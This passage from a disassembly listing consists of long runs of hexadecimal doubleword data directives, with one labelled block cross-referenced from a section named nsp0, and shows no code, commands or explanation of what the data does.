		dd 31FF0175h, 0FFA3E0C1h, 3CB51AA3h, 6B4C88ADh,	0D4E60328h
		dd 0D62A4A25h, 0AB72349Ah, 5E35D084h, 4A8DEEA9h, 7CD89058h
		dd 0F62E7D61h, 4B57F4B1h, 37C6707Fh, 88DDFFECh,	91D41B0h
		dd 733407A7h, 0DD096C47h, 5A461583h, 0AD375F55h, 9B2097D7h
		dd 0B65609A0h, 0B0482922h, 25067090h, 0B262A20Ch, 0E57A8D7h
		dd 1AB5161h, 24257A43h,	0D4722AD4h, 2DDE11C3h, 0D00E07BAh
		dd 3B6B19A2h, 4CEEB767h, 36463483h, 0D285F73Ah,	4F5CA740h
		dd 8DE60CCCh, 0C90F3599h, 6F71C7A7h, 0A9276FDFh, 845D5F81h
		dd 24E30337h, 51B37C76h, 66ECA731h, 0C9F4CB0Eh,	80EB7A76h
		dd 0B46CD76Fh, 78CA561Ch, 2237DC37h, 295DB084h,	0B019246Ah
		dd 27197277h, 0D89FBA30h
		dd 1EF22CDBh, 0BE3D2E02h, 0BA60A8F4h, 7292AC0Fh, 6B49C74Bh
		dd 0ED0E0990h, 4A67595Fh, 0EF765666h, 1EE02920h, 0E25B39BBh
		dd 1C055473h, 7FB998D3h, 27A7D6F6h, 0C9EA7822h,	265EE64Dh
		dd 3EED0C59h, 0C0DB1BD1h, 21CF1A91h, 9D610845h,	9F2384A1h
		dd 5C9A6802h, 1EF8BFA0h, 0A2764C6h, 5FC3F1E0h, 0BB2AB88Dh
		dd 60ED71AEh, 0FD8FD70Ah, 486C2D51h, 83B77CF8h,	8145087Bh
		dd 193A7A9Ch, 8DB34439h, 0CE72E143h, 27B389BEh,	83457ABh
		dd 9B02EB39h, 0DE974C5Ah, 4B856A17h, 0AE6291D1h, 5F3CD717h
		dd 23698F26h, 21118152h, 6401CA7Bh, 0E26881DBh,	7CC49E7Bh
		dd 0BA4A6C28h, 463BC54h, 5C12F754h, 0EB10A0A2h,	7A2FA6C9h
		dd 0DCF4E4C9h, 9144BA22h, 93688273h, 4A1A8360h,	6DFFEB77h
		dd 52066326h, 161D4CDCh, 0D43A343Ch, 4AEC71Fh, 0E7B65B11h
		dd 0CD0AA3C1h, 2333B093h, 0CAE16A7h, 0D1CEB198h, 230AA2AFh
		dd 498C8136h, 377C6860h, 0A61E6D3Eh, 0F7D1CE33h, 6017924Ch
		dd 0CFDBDF32h, 0DCA2DF05h, 3CCE7BF5h, 69F18470h, 0C52DE1DDh
		dd 28DA7704h, 0C30EFFAAh, 51FCB6CEh, 0D3A3F1A2h, 11D8D10Fh
		dd 8EF1931Fh, 6A1E3503h, 0F53B01F7h, 61DF3FF9h,	2E7CB310h
		dd 59FFFED1h, 5A605A5Dh, 0D0637842h, 585942D2h,	0E4A0DD69h
		dd 0F41F26CBh, 9B72C03Bh, 792A3C3Ch, 1DFDCC54h,	86ED5EDFh
		dd 6C42BFE1h, 0C6E61BEFh, 5BDF616Ch, 0BD7ABA56h, 0EE8B4D53h
		dd 6DB87E57h, 9B1D0554h, 1F517911h, 0CFC6F693h,	1BB54FE5h
		dd 3E35DD38h, 0EB1C213Fh, 28A210C1h, 72E5C159h,	0ECF61627h
		dd 0D27F6BBAh, 48F2DDE9h, 3C9B1471h, 76A4F0DDh,	6E73869Fh
		dd 0AFAE4AB4h, 0F5B6DA63h, 0E8C05C34h, 972F445h, 5CD3AE57h
		dd 0BEAD962Ch, 0BA48C11Dh, 496D1057h, 0D38B9AF5h, 4B994CCFh
		dd 8F62A855h, 2CA5DF91h, 0F8CCDAD4h, 0E115DB0h,	18339690h
		dd 7BD0AA7Fh, 0F958D0A5h, 305EC086h, 8E63EB5Ch,	289BDFBCh
		dd 11D0D933h, 35A209B1h, 10CC43BDh, 3CF4576Bh, 66FDE735h
		dd 0F5AE3ECDh, 0BF31A836h, 0B332CAh, 0CC3E6D45h, 5C00911Fh
		dd 99F9A199h, 93529FC3h, 81ED8666h, 91DDD354h, 0E861249Eh
		dd 7122D1E2h, 0AB0A2B63h, 48962887h, 71A538B3h,	0C0651F78h
		dd 69B59EA4h, 2CE978FBh, 0FB4BCD61h, 2547621Dh,	66D62CE9h
		dd 66E7DA7Dh, 0F51F711Ah, 0B5A381E2h, 835BBA28h, 1CB60B54h
		dd 5F99F5Ah, 4B637EBh, 0E6D5B094h, 15735B20h, 0A76BAAFFh
		dd 57FF67F1h, 0C69BEDA4h, 25495A2Ch, 8A45B1D3h,	58E920DAh
		dd 0C8843DBDh, 32A2A169h, 19022DFFh, 0D7070AE0h, 0B78CC00Dh
		dd 3A8A7677h, 709B100Fh, 0CBB2B0FAh, 5C9C24BEh,	6114013Bh
		dd 0F7E9AAD1h, 485D21F4h, 0C6FD279Fh, 0D6BF166Dh, 8628CCDAh
		dd 0AB6F84ADh, 9F773312h, 0F2392D2Fh, 0C1B376F9h, 93E9AB77h
		dd 0A3EC3900h, 0D70AB4B8h, 31EF7F1Ch, 44560D77h, 9E146C21h
		dd 0DDF719C9h, 0D9F9B7AEh, 5F510DB7h, 7653406Eh, 33D107AFh
		dd 637FEE17h, 6CEA6AB0h, 16F9AF6Bh, 93892CEAh, 9D3CD421h
		dd 7AC7A50h, 0DC4CBE87h, 0A76243D8h, 1701F6F3h,	0D681ECD8h
		dd 1E54BE27h, 16672590h, 0C1CD151Eh, 7B09A209h,	0A5EFEF3h
		dd 0F45EBD83h, 0C42E51F5h, 28E46D41h, 49629BCDh, 34DAB1F4h
		dd 0D319D922h, 0CC447FC2h, 0E054261Ah, 0BF06C2ADh, 0DF5A8545h
		dd 452C14D8h, 0C937CCDBh, 81E625B1h, 5BB594ABh,	75C1400Eh
		dd 0F096BC35h, 154165F8h, 0BD19C905h, 857BCE68h, 9DC4282h
		dd 526577FAh, 0C2F6B04Ch, 4AF79CC8h, 0DC69C5FBh, 205608F9h
		dd 0C4029213h, 4AAE4464h, 0F8683AA2h, 238E1116h, 0A5EC134Eh
		dd 9718FF8Dh, 3883EDC4h, 4EA77923h, 7879E287h, 0A72D14F5h
		dd 0DABB8040h, 9A850342h, 3DBCED68h, 68B38069h,	4D135D13h
		dd 0E81CF7A5h, 5B0EF39Eh, 8FC63AFCh, 7E1F411Ah,	550B9016h
		dd 1B39858Dh, 0C49859B4h, 0C9CDA552h, 25552784h, 0A6C8BAE5h
		dd 0F6CEB844h, 4BFF347Eh, 0D1B8A2h, 0CDEC843Eh,	0FB6B6850h
		dd 0A63054E4h, 6658FB05h, 7747392Bh, 215A0656h,	70E1A768h
		dd 88B579EAh, 0ED861401h, 68A765B7h, 208640DAh,	0E885528Fh
		dd 1849B11Dh, 948983F2h, 89898246h, 0DAB3105Eh,	94E1591Eh
		dd 7E71E9F2h, 67591998h, 0C50907DDh, 0E6A4B07Bh, 4987C8EAh
		dd 0C37E4BB7h, 0BC70C38Ah, 0FDDE0967h, 50C73B9Fh, 976BAE76h
		dd 0E5D88288h, 0EB0170A6h, 0A63E4FEBh, 861E0D54h, 876C8146h
		dd 0E284DD01h, 2FB415DDh, 5639CD3Eh, 369AF6F4h,	9D04F369h
		dd 4EFAF502h, 0C762FADDh, 0FB8BACBAh, 0C19EE46Dh, 25143AAh
		dd 0D8FF87FBh, 80976F2Ch, 358F06D9h, 0B138DD80h, 8AAFF7D1h
		dd 770B96B2h, 0E8A61542h, 1137A8C3h, 665EFE03h,	9EF93082h
		dd 57642716h, 0DFB9864h, 5A79FF63h, 6D8C0691h, 0D9996644h
		dd 7C4BED7Bh, 1607D9C2h, 0A7280480h, 596290BEh,	6700A30Ch
		dd 153D1689h, 468CC6C5h, 0E2F31D5Dh, 3F336FD5h,	0C54D8837h
		dd 34E55E06h, 9C259E17h, 0F29614C9h, 0F50D9444h, 187B18BBh
		dd 0FBCFD150h, 70A1DBA6h, 78693AE8h, 20DBB559h,	2E38BFF8h
		dd 0E4B28D5Eh, 0EC580ED8h, 59AAC26Ah, 0F770F5Fh, 97BA82C6h
		dd 0F2144F47h, 8873136Ah, 2AB1E283h, 0FBD69DE0h, 3753643Fh
		dd 7BB45FCEh, 778A006Fh, 9DE8CCB5h, 0AAD85B2Ch,	0B396A60Ah
		dd 30354E3Ch, 564C502Fh, 7D3590B2h, 0E0770501h,	0E0066CC2h
		dd 90051235h, 3A62A82Ch, 46513881h, 0BBB1A513h,	0AA506060h
		dd 0D443C864h, 1B25B57Eh, 16685026h, 0BD099089h, 0E1F5D505h
		dd 0BD8DD608h, 7892333Ah, 758F2A8Eh, 4A3E0895h,	38D6E5F6h
		dd 0B8878933h, 56573C9Ah, 0A8B05B72h, 0FE6A431Bh, 237C4ED5h
		dd 8E1B4FDDh, 7FC0FC98h, 96CE1E78h, 0CC4CBA82h,	66ED131Ch
		dd 46EB580Ah, 0B996E8BAh, 0C00E52B2h, 5E175D86h, 6E12EC3Ah
		dd 344AE921h, 11ADAB5Ah, 0ABE8B974h, 5D5EAB89h,	0C81B1E1h
		dd 76E5907Eh, 0C417898Eh, 766A8837h, 0F30BB99Eh, 34771AEAh
		dd 0BB40A1D9h, 0F227BC93h, 8863001Bh, 0E4B08CA5h, 0E1857081h
		dd 0EF42031h, 9C6C8048h, 44ACE46Bh, 5F043789h, 669E19E0h
		dd 0ACA2AD6Ch, 0EF7C0DDDh, 0FAB7675Dh, 7EC547Dh, 119AA0AFh
		dd 0FBEFCD7Dh, 9E994AA0h, 1CEAF8D9h, 0AEA8ED3Ch, 5E6DE23Fh
		dd 9B53FC21h, 6AAEFCAh,	4A6D230h, 3E322AF1h, 0E89FFC54h
		dd 0A9A8655Eh, 6B98DE1Ah, 0ECF504DEh, 0C4885EE8h, 957A9DBEh
		dd 6FADFEACh, 3BB2349h,	1D282EEEh, 191A2786h, 78A131C5h
		dd 59FD7370h, 35CE5EA3h, 3528EB4h, 1E2F4BFFh, 0C82F5745h
		dd 8D71A8A3h, 0BABC40F6h, 507FAED2h, 0DB347017h, 0A55A391Bh
		dd 0FE62E784h, 7D3A1153h, 10C26BB7h, 750DFE6Fh,	80326472h
		dd 45B22EC1h, 0BD56A485h, 854317Dh, 7E7DFACFh, 0F07B0224h
		dd 59F16C47h, 9970F871h, 0C6A34F12h, 64457EB6h,	4619D757h
		dd 13262462h, 0AB7FB280h, 25C9C0EEh, 4A0BDCFh, 57AE3F76h
		dd 6B0EDE5Ch, 2FC9AA40h, 5BA45DEBh, 9251CC63h, 184A1C50h
		dd 0B7FACE92h, 0B72C2DDDh, 44E63581h, 0A307F778h, 86E64367h
		dd 2D1B9283h, 1F3DBFBh,	0A021CCABh, 8F69839Ch, 0EB1FDE3Eh
		dd 0EC803057h, 486FCF2Eh, 6862E04Fh, 1550B197h,	294BE73h
		dd 0E103780Ch, 879A7BB5h, 5F04BBA3h, 80B2471h, 167139DDh
		dd 0BDED6577h, 66784382h, 0D1B894A3h, 0C150F2C5h, 6FA33D3Fh
		dd 53DF5478h, 6D5E8CE6h, 0BFDA9862h, 31C578DAh,	5B71409Fh
		dd 0D74E05Bh, 8B5832Bh
		dd 612BEA8Eh, 0A109CB99h, 8905CB27h, 430506C5h,	0DDD784DBh
		dd 0CAD07B23h, 9F12F790h, 93BFD4B1h, 34E73D12h,	38A19D87h
		dd 6D07B112h, 8B75AC8Eh, 23C35F81h, 8C85F06Bh, 0D772CF67h
		dd 852F1CB9h, 43DB0EBDh, 726032F1h, 0ED0E08A5h,	60DB5437h
		dd 6F384F40h, 6AEC9BCDh, 0B207B259h, 3250E43Ch,	4D94D8C1h
		dd 0D39AD90Eh, 0CA350D65h, 0B2F89C66h, 24E7ADB5h, 0A0D5B7F3h
		dd 0CC51AB0Ah, 2BF2F9B0h, 2DEF140h, 5C8A4B88h, 761CFE48h
		dd 7A548824h, 4FD2FE00h, 0E25EC5B9h, 0B4A054FFh, 4A640C4Ah
		dd 676A9CB0h, 0E286361Dh, 3FCE056Ch, 837206C5h,	0FEBC0099h
		dd 143DD449h, 0F7D22348h, 4448FAFFh, 362820E8h,	1E890259h
		dd 9B4C738Ch, 0AB8EA193h, 0F4707D96h, 91B17FBEh, 0C3F8EE3Bh
		dd 0B7315D7Dh, 2E2CFF33h, 40B9158Dh, 5828EC4Ah,	9FA8688Ah
		dd 4BFE0C88h, 0D93A071Fh, 780CA6DBh, 0B97B0469h, 99BC7F08h
		dd 5374DC69h, 6B1DFFFh,	73603FB4h, 409DCE45h, 7E398300h
		dd 4C44A65h, 4025E2E9h,	0DFFEC831h, 7BB9BE80h, 33E770B1h
		dd 0CC3BF155h, 9B7210C8h, 892020C6h, 8002FAABh,	0B521D454h
		dd 4819F2D6h, 73C5DF8h,	61BB58C7h, 31F199E6h, 1D413030h
		dd 52DE978Dh, 8A7E3971h, 0B9896687h, 98D33F61h,	0E7A29613h
		dd 55A33B35h, 9CCFA0AFh, 0C103F64Fh, 87E51CACh,	0DB6A377Eh
		dd 754A931Eh, 21CB589Fh, 0BF9A3F7Dh, 0EAA844BBh, 4885E841h
		dd 990D3Ah, 0C215136Ch,	16DBD12Dh, 98B8187Bh, 0CFEEB00h
		dd 8CFCFCAh, 59D3A3D7h,	0EC119390h, 68388268h, 0BC226D0Dh
		dd 1C685FB0h, 0B0EC67D9h, 0F08B4424h, 24290373h, 54B236A9h
		dd 61B6D797h, 48E67990h, 994C9688h, 91DBD5C0h, 9FF454EFh
		dd 26B2F8BBh, 0D1E4582Ah, 0D4B4419Fh, 99DC452Ch, 2287574Fh
		dd 133AB159h, 9AE4B484h, 423AC8EAh, 43CA61F3h, 0C353FF11h
		dd 3E43DE48h, 0F6F485B2h, 5447018h, 0CA455E84h,	7770188Fh
		dd 2D078E42h, 850B7B22h, 0FDBAA256h, 59E1A5AEh,	0FBFB494Ah
		dd 5F52FE45h, 94A1CC75h, 2ECEE815h, 5329ECD3h, 0DBC8883Bh
		dd 23D191E1h, 1345F666h, 97E4D096h, 57EC8051h, 0AD7F6A3Dh
		dd 0D51BF349h, 41407055h, 0DEE8F706h, 848792A2h, 0B826D43Ch
		dd 0C18E5142h, 0FDEF1A96h, 962873C9h, 0A46539BEh, 7CEAD9F1h
		dd 67B72ADCh, 0ADCC8971h, 0CA30026Dh, 0B1ABF00Eh, 6D18CECEh
		dd 30836027h, 0AA1F26E5h, 4BBC428Bh, 0FBEE3F69h, 18F50867h
		dd 6B985089h, 0D3F5A873h, 0C90E43D0h, 1D443A32h, 7825F050h
		dd 6179C2DCh, 9914F3E2h, 0CED9BAEEh, 0DC47F2ECh, 66B19E67h
		dd 2E114D62h, 0D02EE508h, 9350EECh, 840997A1h, 91A65E75h
		dd 4EC519C4h, 3053C710h, 0BA49D1E7h, 0C2F0CE59h, 47362E70h
		dd 0E4419FD6h, 16EB8D2Eh, 0E1C85F9Fh, 0F224A130h, 0BAE9BAE0h
		dd 41434374h, 0FD05BA69h, 3478C3A3h, 0C5347A5Dh, 7A4A0E0Ah
		dd 15701550h, 1CDF600Dh, 52CF3939h, 4C7B6533h, 0F214445Ah
		dd 0D733CF90h, 526AAC74h, 0FD8E33F4h, 0E87B9D16h, 818A376Fh
		dd 331B769Dh, 59A00335h, 2E21EE5Ah, 0B121C536h,	9B35852Ah
		dd 0E89BA019h, 3FAE31E2h, 0C343103Dh, 25DDC0D7h, 0FC14CDEh
		dd 9B3FCB68h, 0C60D86F9h, 5B6A5EDFh, 2ACDC84Ah,	24380971h
		dd 9F722402h, 88A18D6Eh, 8DD7EE99h, 14CE6F17h, 3AE20CCFh
		dd 0D57B8FC3h, 28C30676h, 58A7440Fh, 4978C585h,	287D8DDBh
		dd 4E9242EFh, 0E44F0398h, 0AE501308h, 0DE9269D6h, 6B723DF1h
		dd 254D352Ah, 14A6DB93h, 0F850A0DEh, 0E3391B1h,	0A9282F4Ch
		dd 7033E5D9h, 7FDFEEBEh, 211C54A6h, 6A7C2E77h, 0E68DF6D3h
		dd 0CB29BB20h, 90D65838h, 98F6D562h, 90C6390Eh,	2779EF65h
		dd 1E649151h, 57245E36h, 449CCC19h, 96FAC03Dh, 5C9B8085h
		dd 5F8A811Eh, 0C5837C95h, 0B108FB3Ah, 4A54E5Ch,	25A1ED95h
		dd 214F0BEEh, 100F51A6h, 9039EB12h, 0B1A50AB4h,	4794AA52h
		dd 0D8A4AEB8h, 9D1389A2h, 210BCA8Eh, 0D530FDB1h, 0BD91118h
		dd 0D876F19Fh, 77654AADh, 0A72D9DFFh, 97E00AADh, 53F7FED6h
		dd 0D0D4CF69h, 6CB2FF85h, 3BF3680h, 917ECE89h, 0B7D7F5Ah
		dd 7AA8693Eh, 0A9227E7Ah, 30EE466h, 88B75B92h, 8FF12799h
		dd 0FF431B0Fh, 45CD3C8h, 88BF4248h, 59512F1Ch, 11F90EAFh
		dd 779ECA88h, 10E7CBDCh, 9BF01F34h, 0E22856E6h,	84ADB5Fh
		dd 0DA6CAEBAh, 386184A7h, 0F55FD5D4h, 4AFE5EA3h, 0C31F6203h
		dd 0B996B814h, 0C64B59D0h, 0FEF0F590h, 533E8498h, 7516B2A2h
		dd 8C220762h, 7255400Ch, 1B59D9A6h, 78EEF474h, 2E01095h
		dd 0DA4C85F6h, 0CBC3B01h, 4B5A671Ch, 6B4E4091h,	2F2AFAC7h
		dd 0B045D04Dh, 0DE8BC93Eh, 5CB4D3Eh, 0B554FE1h,	39B000CDh
		dd 87C2D819h, 56DDBB36h, 0F450E2D1h, 0C8682857h, 0E0D20697h
		dd 0FBF8AF2Eh, 0FCB0C1A1h, 37F17E13h, 4CB9374Ch, 14EC1F16h
		dd 71EB0BBDh, 92BC8080h, 0FD2A6761h, 9EE98C4h, 33B41445h
		dd 0BDE142C1h, 4F576C74h, 0F2038h, 0A2813151h, 0BE51AADFh
		dd 5AE3D888h, 651836E5h, 5308AEF2h, 3590B8D8h, 513F2EE2h
		dd 1A0AA3C0h, 9E64D88h,	552B0B4Fh, 7C349C73h, 0DF52DC93h
		dd 3C4EFD95h, 916F9BDh,	0C69BBD16h, 0A923620h, 8CE0B5CDh
		dd 1DF62C3Eh, 60E20956h, 0D56582DAh, 462DB91Eh,	0AFB106E5h
		dd 3095A59Ch, 596D59A3h, 5204FDB5h, 1B9813D0h, 6FBF982Eh
		dd 0B2B481EDh, 2C994B37h, 753F0339h, 80DAE519h,	8A6D01ACh
		dd 95DF9830h, 35637481h, 0C297B7C1h, 3E5573C7h,	2AD6DCCCh
		dd 0B68C8CD9h, 95300F15h, 8576D9FAh, 40ED9577h,	2DBF3186h
		dd 31257F4Ch, 0D782DF21h, 0C72D8A7h, 0E936CCF0h, 0DC355055h
		dd 0F0EFCCA7h, 5EBBF7CCh, 87C2ED10h, 0D9F7E2Bh,	0B467FA4Dh
		dd 267187CEh, 59A3521Fh, 0DBB8DA6Eh, 72ECB5C4h,	0C94022CAh
		dd 671B1CE3h, 0D1AA3C50h, 3350C74h, 0F128EAAFh,	6C4E955Ch
		dd 4BAC8CE1h, 36E38C3Eh, 0A497AEECh, 8C7BE3AAh,	7133F57Ah
		dd 0FFE6F350h, 0B4735E0Bh, 14046D43h, 0E7329208h, 4468F9B5h
		dd 809305FBh, 5F37AF4Ah, 7039A458h, 27EBABA0h, 7EDD4AB6h
		dd 0AAD61972h, 0C6FFC71Ah, 0B5D43507h, 1A2CA2D2h, 7879B69Ch
		dd 23FC2A95h, 0D6DC8D01h, 0C60BEDC6h, 0BAF0A060h, 5BC07F4Ah
		dd 0B9755CDDh, 0B1960571h, 0CBC8B8D3h, 0CFECDCh, 0FF499E2Bh
		dd 917C0676h, 659367BAh, 8126434Dh, 8A90FADh, 0F95F88D6h
		dd 760005BAh, 0EF3040A8h, 0BCB36AC2h, 87BFF6ECh, 2E14469Bh
		dd 0A16FF525h, 0B3A5D7FAh, 2A54D8EFh, 10E6BD3Fh, 7CE7AAEAh
		dd 0BF10AAB1h, 0A369A9Ch, 5D75F5FDh, 85DA8B3Dh,	0C8A99B77h
		dd 573023Fh, 0D083B316h, 0D3DFD410h, 0ACF4EDDBh, 11AC6279h
		dd 0EF38F7C4h, 597F705Ch, 65168919h, 4648FFEEh,	12D69E94h
		dd 0AE23EE6Dh, 0A406A0BAh, 8DCB5A14h, 7F3947BDh, 0F5395FE3h
		dd 0E9365353h, 8A27ABE3h, 0FBD75D36h, 0B4003C68h, 91041604h
		dd 2FCE047Bh, 9275770Ah, 4FF32E87h, 9CF4067Ah, 74905B46h
		dd 9CA7B62h, 73F0D2BCh,	3E0F26A2h, 0A56DBFFEh, 7F67AB1Eh
		dd 730FA16Ah, 4FF04D4Ah, 0EDA80CD3h, 0A62BFEC7h, 8326D9D4h
		dd 82C3FC98h, 2FD19F3Ah, 0B0D66725h, 0D3ED8770h, 1D1E7B0Dh
		dd 3943E76Bh, 0F2FBBE05h, 733DAB9Ah, 3D8174BFh,	564D2D0Ch
		dd 0F9886325h, 525CD48Dh, 40D1BD88h, 888CDE39h,	937C5D9Eh
		dd 74E1468Fh, 0A3484971h, 11D638D2h, 11906662h,	9B34088h
		dd 2A7FBFF0h, 2D3E81C6h
		dd 625F9B6Eh, 0F38FB221h, 0B3B0C7C3h, 7FD5B072h, 21BC5A1Bh
		dd 0C52D314Dh, 0A0145569h, 0C0494434h, 0ED60A538h, 0EE156DFh
		dd 5F1329E5h, 0CF164FF0h, 16DCAC92h, 0D04C490h,	67E98AFDh
		dd 43E429CDh, 5D877E4Dh, 0F71E518Dh, 25805573h,	0D01116CFh
		dd 532D376Fh, 0FA07A2F3h, 78AB3C11h, 54618DBDh,	6B50600Ah
		dd 57B0EE48h, 0E2E1E044h, 0DC1619FEh, 0E587F18Dh, 7A347290h
		dd 0E0E9CF01h, 0EB5AAB44h, 0BCD60FFAh, 8A52DFC1h, 0D85C7C98h
		dd 6F9BEF89h, 4A9F6448h, 0B6169F57h, 935815C4h,	1C42C0B4h
		dd 4C9CD8CFh, 0C9766972h, 566A0BD2h, 8B6EEEE9h,	0D618803Eh
		dd 18E1913Fh, 2BF440C2h, 1164E87h, 0E16CBAD3h, 96FBDEF6h
		dd 6D62B24Ch, 0F7C2C0F5h, 6E36FC37h, 670DBF9Ah,	2CFB9AAEh
		dd 0C326FE17h, 8E35D2E2h, 0AB7B7C7Ah, 0AF3E4B48h, 0AA12F602h
		dd 5CE93CF6h, 6A5383E2h, 404C8B17h, 37089651h, 1EBBBACDh
		dd 0ABA5F27Eh, 0D6D9F5E0h, 38DB500h, 8A25BF09h,	5C3F153h
		dd 113AAD82h, 71529B4h,	9B9327C1h, 416AFDDBh, 14142033h
		dd 92E33952h, 0F59251CDh, 643BCD2Fh, 0FA1EEA00h, 0F304E5E5h
		dd 0D39C09ABh, 40033CC8h, 7CF36D4Ch, 0F4F05A7Ch, 4B107168h
		dd 5B074A65h, 33EB1A88h, 0CFE04137h, 4344D3FCh,	0D857C342h
		dd 300E96D7h, 0E4DD8A37h, 0AF153D9Fh, 4355E0E1h, 3B8001B7h
		dd 1906C09h, 43BE12C3h,	0A96D0689h, 52CE3061h, 26085951h
		dd 0DC90983Dh, 6A40ED1Dh, 0C8C9270Bh, 0F82D0C20h, 0C1AA2DACh
		dd 82A3D0A3h, 12DF8F77h, 52EEE3B4h, 5D01CEEAh, 52516CAEh
		dd 0D8B72071h, 7D8BF71Ah, 0E64CCE4Fh, 959F7506h, 9584A07Bh
		dd 0A6AD3878h, 3A80FA9Bh, 357766B6h, 9C720888h,	2C66A62Eh
		dd 0F7E4D2F8h, 36CC1420h, 1A5C4498h, 0AD1AE8A3h, 0F3E4C04Ah
		dd 9862A32Bh, 0B024DEAFh, 0B6CF5E4Ch, 362332ABh, 0E3F0E2C8h
		dd 6D86C537h, 74573EC1h, 0EA8FEA4Dh, 38E8235Fh,	0E818C622h
		dd 63F316BFh, 0CE6B6945h, 0BA87706Ch, 0D60F79F7h, 874EC8B1h
		dd 1B855593h, 0E14C3354h, 3BF17CDCh, 0E271A3C6h, 0E5139771h
		dd 537EEAF7h, 0BC556F32h, 90B33F45h, 85E2C908h,	1FA6EE9h
		dd 2F08F269h, 73784D77h, 0B7B67014h, 85E5AAABh,	0DBAAC4B5h
		dd 58AC274Ah, 17832881h, 37981DF5h, 8FAF22DFh, 2080CD3h
		dd 8073484Ah, 0DA47EB83h, 0A284AD9Bh, 0EB4384CCh, 70D4F6E9h
		dd 36793F0Ah, 65DF5CD3h, 553CDC45h, 5C76985Eh, 5B9DE1E7h
		dd 67A12ABDh, 71D4DF4Eh, 83D02CCAh, 3CBD8515h, 0A5F75B38h
		dd 0EE89B052h, 12C2E9C8h, 0E30A12A9h, 9DC146E6h, 293F47FCh
		dd 337EBD49h, 8903048Bh, 0BC5AA026h, 5A46FA4Fh,	4FCBC466h
		dd 95E18C43h, 0A2FB8258h, 0EE3F188Dh, 5E23912Bh, 0F25F58C8h
		dd 0DA67DA15h, 0AB854D6Ah, 8152EB7Eh, 0FE3DBDCCh, 0F5957299h
		dd 0D5F3529Ch, 5654B6B5h, 0B18080D0h, 84E31F9Ah, 85E597FDh
		dd 558CCED8h, 0A3C7C8FDh, 7A97504Eh, 5DA19340h,	120EB1Bh
		dd 44C553DCh, 29CC02F9h, 6C8FED16h, 38E01ADDh, 379139AAh
		dd 85005353h, 0B31046F0h, 84FC332Eh, 0CF452C98h, 0DED30EF4h
		dd 0DD954111h, 3521B304h, 0EE39800Eh, 0DBA71C47h, 265D5ADFh
		dd 2A3A8568h, 131DEE4Ch, 446DAF95h, 88987BDBh, 55A6E1ABh
		dd 0D5CA2EA7h, 91012940h, 0D16C60FEh, 3D4DA134h, 35EE1053h
		dd 0EBE9391Eh
dword_4E414C	dd 219A2385h, 79503B68h, 98857004h, 295CF1AAh, 0A193D345h
					; DATA XREF: nsp0:off_43AB14o
		dd 2A3277Dh, 427E81C7h,	69E3D1CDh, 43C0E016h, 0EAD79C22h
		dd 0FB219627h, 2357F7A1h, 48402A88h, 233D7F6Ah,	0D23DB462h
		dd 0C248BB03h, 9CECAE10h, 90F1B3E0h, 691A4EF4h,	0D3516394h
		dd 3350D717h, 0EB15D23h, 2AA97625h, 56553A3Eh, 4085C9B5h
		dd 4B7CE8D2h, 28788815h, 0CDABE9C5h, 0AFF930CAh, 2EA64EAh
		dd 0CF950108h, 80305BB5h, 0EBE3A812h, 9B39AD5Dh, 771C3617h
		dd 0B8D8392Bh, 3F1C8069h, 95357C02h, 0CFB5D1Bh,	8EBF3F72h
		dd 0BF0ED3D0h, 2CFA766Bh, 0A0C55D62h, 9D9B0FE1h, 4A3EEF36h
		dd 86AADA9Ah, 0ADE567ABh, 1E08173Eh, 4E92669Dh,	7B992A44h
		dd 0DBAEBE6Ah, 466E9EAEh, 7E2F5020h, 2B3428AFh,	3BD4E613h
		dd 2120B60Ch, 0ED43A2A3h, 80C340FDh, 0CB02021Eh, 0F984ACF6h
		dd 879567CAh, 0C9169C76h, 0CE2F8DFCh, 26515E37h, 3694D8BBh
		dd 0C34D7D13h, 7EF24828h, 5FF11379h, 93A6374Fh,	0AB13B71Fh
		dd 8353AEE3h, 0F49288B1h, 0A1D8085Ah, 0DB3C2Dh,	0A9308B0Eh
		dd 0AA1A50AEh, 316A3397h, 7108A51Dh, 0F7690ED7h, 7E68C924h
		dd 85CBB2AEh, 0E80018C6h, 67BBCE08h, 106D25F9h,	42427FC2h
		dd 3805D4D5h, 256E6093h, 1F4AB5FBh, 178E0BEDh, 0D3CDBDC0h
		dd 4AA5F2A4h, 0FBD6215Ah, 892F45EAh, 0F7BEBD2Ah, 0AD5C3EA6h
		dd 1AE42D2Ah, 0AA504496h, 0CE9C7307h, 1A41A972h, 9DB9D5B5h
		dd 782B57Dh, 0A9D88354h, 4713546Eh, 0C7AFADE7h,	0F89C3069h
		dd 0D3EE7ABCh, 19E26674h, 0E74377FAh, 291E090Bh, 9B773EC2h
		dd 0D4DFDBC8h, 4C9DBCE0h, 0EDA3698Eh, 0F42D67D3h, 76A72B76h
		dd 0DB82DDBCh, 57B55D2Dh, 43704068h, 2AAB054Bh,	0C5376B5Bh
		dd 7951C30Dh, 591A237Fh, 0AEC1973Ah, 0F1980870h, 87FEB3CDh
		dd 1E2547E0h, 0E5B5E46Fh, 0DE5EFA31h, 248F4406h, 0BC8C8AB8h
		dd 0A6E6F01Ah, 16E3B77h, 23C114AFh, 75DD1D82h, 13B3BEA4h
		dd 6A3B700Bh, 19E5B0C6h, 0E715A7DCh, 0BE295ED8h, 82DF81A1h
		dd 35384A1h, 0D52A2C59h, 67C5EB21h, 6799B06Ah, 350310ACh
		dd 99255A8Fh, 4D48FC68h, 1EA2A7C1h, 77C28A8Fh, 0B538F443h
		dd 423BCD28h, 9AC3B744h, 0DC605829h, 4149768Ch,	809DB243h
		dd 0AEFE267Bh, 0EB7559CEh, 47B519A1h, 16A1B683h, 0CC87B72Fh
		dd 26FFC0A1h, 0D848106Ch, 0AF3086D1h, 4DDBA9E6h, 338E9D9Bh
		dd 9FB8CAC8h, 0CF1A28B8h, 715988F4h, 4D200F5Fh,	90A8290Eh
		dd 8327789Eh, 992CB5h, 0BDD507E2h, 5D8F98B7h, 5626EFF8h
		dd 721D2ABh, 0FE84251h,	0E7754812h, 63FB5B98h, 6D805357h
		dd 4595F96Ah, 0BF166E32h, 37CC2E6Dh, 2541718Eh,	0B273E3D4h
		dd 81EC3FB0h, 40FF6031h, 0EB884C79h, 5CFBB62Bh,	0CEC7B603h
		dd 92359433h, 7C9153B2h, 823F843Fh, 4F1A4CECh, 0A1B877AEh
		dd 0E8E9A314h, 7FA51A2Ah, 0E24912B9h, 1A93038Ch, 0D84798E9h
		dd 57443400h, 0BA5E1C49h, 0A02D6172h, 0E47C19CBh, 29523573h
		dd 96BB95C9h, 34081F43h, 8AA63EF8h, 85026570h, 2E872855h
		dd 8048ABB4h, 42D1B031h, 8A2CAB29h, 0FADF4B51h,	0F20200E4h
